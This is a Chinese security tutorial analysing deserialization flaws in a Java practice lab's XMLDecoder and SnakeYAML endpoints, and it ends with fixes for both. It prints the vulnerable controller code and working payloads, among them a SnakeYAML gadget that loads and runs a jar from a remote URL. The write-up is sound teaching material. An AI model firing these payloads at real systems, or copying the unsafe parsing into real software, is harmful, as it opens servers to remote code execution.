Java 反序列化漏洞-xmldecoder/SnakeYAM
0.前言这个靶场的这两个漏洞写的不是很好而且也挺稀有的第一个简单了解一下就行第二个可以看一下那个payload的构建思路1.xmldecoder反序列化漏洞源代码分析package org.bewhale.javasec.controller.deserialize; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import java.io.ByteArrayInputStream; import java.nio.charset.StandardCharsets; Controller RequestMapping(/home/deserialize) public class XMLDecoder { RequestMapping(/xmldecoder) public String xmlDecoder(String cmd, Model model) { StringBuilder results new StringBuilder(); String[] strCmd cmd.split( ); StringBuilder sb new StringBuilder().append(?xml version\1.0\ encoding\UTF-8\?) .append(java version\1.8.0_151\ class\java.beans.XMLDecoder\) .append( object class\java.lang.ProcessBuilder\\n) .append( array class\java.lang.String\ length\ strCmd.length \); for (int i 0; i strCmd.length; i) { sb.append( void index\ i \) .append( string strCmd[i] /string) .append( /void); } sb.append( /array) .append( void method\start\ /) .append( /object) .append(/java); String xml sb.toString(); try { java.beans.XMLDecoder xmlDecoder new java.beans.XMLDecoder(new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8))); xmlDecoder.readObject(); xmlDecoder.close(); model.addAttribute(results, results.append(执行成功!).append(System.lineSeparator()).append(XML).append(System.lineSeparator()).append(sb)); } catch (Exception e) { e.printStackTrace(); model.addAttribute(results, results.append(e)); } return deserialize/xmldecoder; } }可以看到服务端主动去把XML拼好了然后去读取然后触发了漏洞正常来说应该是攻击者传入一段XML文件然后服务器交给XMLDecoder.readObject ()最终触发漏洞payload什么的直接输入命令就行都不用你去构造XML就像作者起的变量名一样,这真的很“sb”StringBuilder正常的代码应该是这样的XMLDecoder decoder new XMLDecoder(外部输入流); decoder.readObject();不是说这个代码没有问题的意思只是让人知道正常的流程而已修复思路java.beans.XMLDecoder 用来解析特定格式 XML、重建 Java 对象时XML 内可以直接指定任意类、调用任意方法。当前代码直接拼接可控参数 cmd 到 XML 文本送入 XMLDecoder 解析攻击者可控 XML 内容构造恶意标签调用ProcessBuilder.start()实现命令执行。XMLDecoder设计本身极度危险没有内置类白名单机制官方不推荐用于解析不受信任的数据。 能替换就替换使用 Jackson/JacksonXML、JAXB 等常规 XML 解析方案。知识扩展很多人混淆 XXE 和 XMLDecoderXXESAX/DOM 等 XML 解析器外部实体漏洞读取文件、内网探测XMLDecoder 漏洞JavaBean 专属对象反序列化可以直接调用方法 RCE二者完全不是一类漏洞。2.SnakeYAML 反序列化payload普通payload:!!java.lang.ProcessBuilder [cmd,/c,calc]SnakeYAML 在默认构造器下支持!!标签指定 Java 类自动实例化对象。和 Fastjsontype、Jacksonclass思想高度相似。ScriptEngineManagerURLClassLoader 方式远程加载 Jar:!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [http://127.0.0.1:8000/upload/yaml-payload.jar]]]]SnakeYaml 低版本支持 !!类名直接 new 对象同时支持把后面数组内容传入构造方法。!!javax.script.ScriptEngineManager实例化ScriptEngineManager对象。 它有一个带 ClassLoader 参数的构造函数public ScriptEngineManager(ClassLoader loader)方括号[xxx] YAML 语法给构造方法传入参数 所以等价 Java 代码ClassLoader loader URLClassLoader实例; new ScriptEngineManager(loader);!!java.net.URLClassLoader实例化 URLClassLoader作用远程加载网络上的 jar 包URLClassLoader 构造接收URL[]数组。[[ !!java.net.URL [http://127.0.0.1:8000/upload/yaml-payload.jar] ]]内层!!java.net.URL创建 URL 对象远程 jar 地址双层[[ ]]代表传入URL 数组匹配 URLClassLoader 构造方法参数类型等价纯 Java 代码payload 翻译成 JavaURL url new URL(http://127.0.0.1:8000/upload/yaml-payload.jar); URL[] urls new URL[]{url}; ClassLoader classLoader new URLClassLoader(urls); new ScriptEngineManager(classLoader);源代码分析package org.bewhale.javasec.controller.deserialize; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.yaml.snakeyaml.Yaml; Controller RequestMapping(/home/deserialize) public class YamlLoad { RequestMapping(/yaml) public String yaml(String content, Model model) { try { Yaml y new Yaml(); y.load(content); model.addAttribute(results, 执行成功); } catch (Exception e) { e.printStackTrace(); model.addAttribute(results, e.toString()); } return deserialize/yaml; } }感觉没什么好分析的接口地址/home/deserialize/yaml?content可控yaml文本外部可控字符串直接传入Yaml.load()修复思路强制使用 SafeConstructor【首选通用根治不受版本限制】SafeConstructor黑名单禁止绝大多数危险类仅允许基础类型字符串、数字、List、Map不支持实例化自定义 / Java 危险类。// 不安全旧代码 // Yaml y new Yaml(); // 安全写法 Yaml y new Yaml(new SafeConstructor()); y.load(content);

相关新闻

并查集原理与优化实现详解

并查集原理与优化实现详解

1. 并查集基础概念解析并查集(Disjoint Set Union,DSU)是一种处理不相交集合合并及查询问题的树型数据结构。我在ACM竞赛和实际工程中频繁使用这个数据结构,它最经典的应用场景就是处理元素分组和连通性问题。并查集的核心操作可以…

2026/8/3 3:34:36 阅读更多 →
2026年实测14家门店 当天采购食材的火锅风味差异对比

2026年实测14家门店 当天采购食材的火锅风味差异对比

2026年实测14家门店 当天采购食材的火锅风味差异对比2026年,当天采购食材的火锅已成为火锅消费中受食客关注的重要品类,本文结合对遇南三14家直营门店的实测走访,以及4家主流火锅品牌的菜品工艺梳理,为第一次尝试这类火锅的读者整…

2026/8/3 3:34:36 阅读更多 →
模拟电路设计中反馈电路的原理与应用

模拟电路设计中反馈电路的原理与应用

1. 反馈电路的本质与价值在模拟电路设计中,反馈就像一位经验丰富的导师,时刻监测并修正放大器的表现。我第一次真正理解反馈的重要性,是在调试一个音频功率放大器时——没有反馈的电路就像脱缰的野马,失真率高达15%,加…

2026/8/3 3:34:36 阅读更多 →

最新新闻

从零构建轻量级网络核心库:深入Reactor模型与高性能缓冲区设计

从零构建轻量级网络核心库:深入Reactor模型与高性能缓冲区设计

1. 项目概述:从零构建一个轻量级网络核心如果你正在寻找一个能深入理解现代网络编程、数据结构和并发模型的实战项目,那么亲手从零开始构建一个名为“MeshCore”的网络核心库,无疑是一条绝佳的路径。这不仅仅是一个“开发教程”,更…

2026/8/3 4:17:54 阅读更多 →
批量投影并按照文件名称输出到不同目录中

批量投影并按照文件名称输出到不同目录中

一、需求描述: 对n个图层的数据,先进行坐标定义为投影坐标系,然后通过投影转换为地理坐标系。二、要求:1、如果图层中包含_84,需要替换掉;2、每个图层单独存储到一个文件夹,要求文件夹名称和图层…

2026/8/3 4:17:54 阅读更多 →
Windows 10终极精简优化指南:Win10BloatRemover完全使用手册

Windows 10终极精简优化指南:Win10BloatRemover完全使用手册

Windows 10终极精简优化指南:Win10BloatRemover完全使用手册 【免费下载链接】Win10BloatRemover Configurable CLI tool to easily and aggressively debloat and tweak Windows 10 by removing preinstalled UWP apps, services and more. Originally based on th…

2026/8/3 4:17:54 阅读更多 →
Visio安装包获取与部署全攻略:官方渠道、安全策略与故障排查

Visio安装包获取与部署全攻略:官方渠道、安全策略与故障排查

1. 从“找”到“装”:一个资深用户的Visio获取与部署全流程Visio,这个微软旗下的专业图表绘制工具,对于需要处理流程图、组织结构图、网络拓扑图、平面布局图的用户来说,几乎是绕不开的生产力工具。无论是产品经理梳理业务流程&am…

2026/8/3 4:17:54 阅读更多 →
SEM代运营服务商如何辨别靠谱的?

SEM代运营服务商如何辨别靠谱的?

做ToB的企业主在考察SEM代运营服务商时,往往会陷入两难:市面上机构多如牛毛,报价从每月几千到几万不等,有的承诺"首月见效",有的标榜"包年包效"。究竟谁能真的帮企业把广告费花在刀刃上&#xff1…

2026/8/3 4:17:54 阅读更多 →
终极M3U8视频下载指南:告别命令行,拥抱图形界面

终极M3U8视频下载指南:告别命令行,拥抱图形界面

终极M3U8视频下载指南:告别命令行,拥抱图形界面 【免费下载链接】N_m3u8DL-CLI-SimpleG N_m3u8DL-CLIs simple GUI 项目地址: https://gitcode.com/gh_mirrors/nm3/N_m3u8DL-CLI-SimpleG 还在为复杂的M3U8视频下载命令行操作而烦恼吗?…

2026/8/3 4:16:54 阅读更多 →

日新闻

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片,PDF文档识别,排除水印/页眉页脚,扫描/生成二维码。…

2026/8/3 0:00:47 阅读更多 →
[具身智能-181]:PC+服务器+具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构

[具身智能-181]:PC+服务器+具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构

PC服务器具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构一、前言:具身智能需要“混合算力闭环系统”传统人工智能依赖云端静态数据集训练,不具备物理交互能力,无法适应真实世界的不确定性。具身智能(Embodied…

2026/8/3 0:00:47 阅读更多 →
[具身智能-181]:大分布式通信模型对比:看懂为什么 DDS 是 ROS2 底层通信最优解

[具身智能-181]:大分布式通信模型对比:看懂为什么 DDS 是 ROS2 底层通信最优解

前言构建机器人、具身智能这类分布式实时系统,通信底座直接决定整套系统的实时性、容错性、组网能力。分布式领域长期存在 4 类经典通信架构:点对点模式、Broker 中间代理模式、广播模式、以数据为中心(DDS)模式。很多开发者疑惑&…

2026/8/3 0:00:47 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/2 0:00:38 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/3 1:53:31 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/2 0:00:38 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/2 6:34:16 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/2 2:47:48 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/2 0:23:22 阅读更多 →